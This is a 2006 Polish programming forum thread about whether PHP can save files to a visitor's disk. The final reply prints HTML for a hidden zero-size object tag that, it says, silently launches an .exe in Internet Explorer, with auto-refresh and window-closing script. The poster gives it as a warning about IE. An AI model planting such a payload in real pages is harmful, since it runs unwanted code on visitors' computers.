Strona 1 z 1
[PHP] Zapis do pliku na dysku użytkownika
: wt sty 31, 2006 9:09 pm
autor: VieriX
Witam,
Naszedł mnie kolejny problem. Potrzebowałem zapisać kiedyś plik na dysku użytkownika, przy pomocy PHP. Odszukałem stosowną funkcję, ale szybko zorientowałem się, że można dzięki niej zapisać dane TYLKO na serwerze.
Moje pytanie wobec tego brzmu. Czy istnieje możliwość zapisania pliku na hdd usera? (Pomijamy oczywiście ciastka!)
Pozdrawiam
Vieri
Re: [PHP] Zapis do pliku na dysku użytkownika
: wt sty 31, 2006 9:13 pm
autor: viraptor
Nie istnieje i nie będzie istnieć.
Powinny wystarczyć ci ciastka, albo sesje na serwerze. Jeśli chcesz jakieś większe dane przekazać samemu użytkownikowi, to daj mu link do ściągnięcia tego.
Re: [PHP] Zapis do pliku na dysku użytkownika
: śr lut 01, 2006 9:27 pm
autor: VieriX
Ok. Dziękuję...
Rozumiem powód dla którego (niestety) nie będzie takiej funkcji.
Pozwolę sobie jednak powiercić temat troszkę (a ze względu na moje zaawansowanie w programowaniu (:lol:) )będę pytał:
Czy inny język pozwala na to? Np Pearl (nie znam - może walę głupotę), Java (Nie ta kategoria, ale nie będę zakładał nowego tematu) czy CGI...
Słyszałem też o możliwości uruchamiania plików "windowowych" wykonywalnych *.exe. Czy istnieje taka możliwość??
Pozdrawiam
Vieri
Re: [PHP] Zapis do pliku na dysku użytkownika
: śr lut 01, 2006 11:49 pm
autor: viraptor
Java jako applet pozwala zdaje się na zapisanie plików w pewnym obszarze, tylko do swojego użytku, ale nie jestem pewny na 100%. Flash tak samo.
Na dowolne mazanie po dysku pozwalają kontrolki activex po zaakceptowaniu przez usera, ale to też jest rozwiązanie client-side. Server-side z założenia nie ma mieć takiej możliwości.
A w każym innym przypadku możliwość zapisania pliku na dysk użytkownika strony ma nazwę "exploit / security hole" i jest szybko łatane.
Jeśli wyjawisz co chcesz konkretnie osiągnąć, to może wymyślimy jakieś rozwiązanie dobre?
PS - w Pearl'u się pisze systemy czasu rzeczywistego, w Perl'u skrypty

Re: [PHP] Zapis do pliku na dysku użytkownika
: czw lut 02, 2006 8:57 am
autor: stami
VieriX napisał:
Słyszałem też o możliwości uruchamiania plików "windowowych" wykonywalnych *.exe. Czy istnieje taka możliwość??
NIestety
Internet Explorer daje teoretycznie taką możliwość. Jeśli zrobisz tak:
index.html
Kod: Zaznacz cały
<html>
<body>
<a href=test.html>Uruchamiamy plik</a>
</body>
</html>
test.html
Kod: Zaznacz cały
<html>
<head>
<meta http-equiv=content-type content=text/html;charset=iso-8859-2>
<meta http-equiv=Refresh content=1>
</head>
<body>
<object width=0 height=0 codebase="plik.exe"
classid="CLSID:11111111-1111-1111-1111-111111111111" width=1 height=1></object>
<script language=javascript>
window.opener=null;
window.close();
</script>
</body>
</html>
to uruchomisz plik.exe.
Jednym słowem radze nie używać
IE
Oczywiście firewall i/lub antywirus ochroni nas przed tym, niemniej teoretycznie da się.